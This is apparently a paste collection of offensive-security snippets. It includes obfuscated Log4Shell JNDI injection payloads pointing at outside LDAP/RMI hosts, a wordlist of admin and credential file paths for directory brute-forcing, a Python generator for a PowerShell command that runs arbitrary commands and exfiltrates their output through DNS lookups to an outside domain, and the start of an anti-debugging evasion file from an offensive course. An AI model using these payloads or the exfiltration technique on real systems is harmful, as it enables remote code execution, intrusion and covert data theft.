rwincey

${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://l4j.zsec.uk/sploit} 
${${::-j}ndi:rmi://l4j.zsec.uk/sploit} 
${jndi:rmi://l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://l4j.zsec.uk/sploit} 
${${lower:${lower:jndi}}:${lower:rmi}://l4j.zsec.uk/sploit} 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://l4j.zsec.uk/sploit} 
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://l4j.zsec.uk/sploit}

rwincey

frs/admin/qrs.php
__admin
__cache/
__index.php
__MACOSX
__pma___
__SQL
__test.php
_.htpasswd
_adm

rwincey

import subprocess
import base64
import gzip
import urllib.parse
import argparse

def gen_cmd(cmd_str):

    inner_powershell_cmd = '''$i="";$n=((1..2 |%%{'{0:X}' -f (Get-Random -Max 16)}) -join '');((iex "cmd /c %s") -join "`r`n").ToCharArray()|%%{$i+=[String]::Format("{0:X2}",[Convert]::ToUInt32($_[0]))};$m=0;for($j=0;$j -lt $i.Length; $j+=60){$l='';if($j+60 -lt $i.Length){$l=($i.substring($j, 60))}else{$l=($i.substring($j))}$l+="."+$m+"."+$n+".m.1m.ms"; nslookup "$l";$m+=1};$g="_._."+$n+".m.1m.ms"; nslookup "$g"''' % cmd_str
    #print(inner_powershell_cmd)

rwincey

// White Knight Labs - Offensive Development Course
// Guardrails - Control Flow & Anti-Debugging 

#include <windows.h>
#include <iostream>

// Test function to be called when an access violation occurs
void TestFunction() {
    std::cout << "Test function executed after catching access violation." << std::endl;
}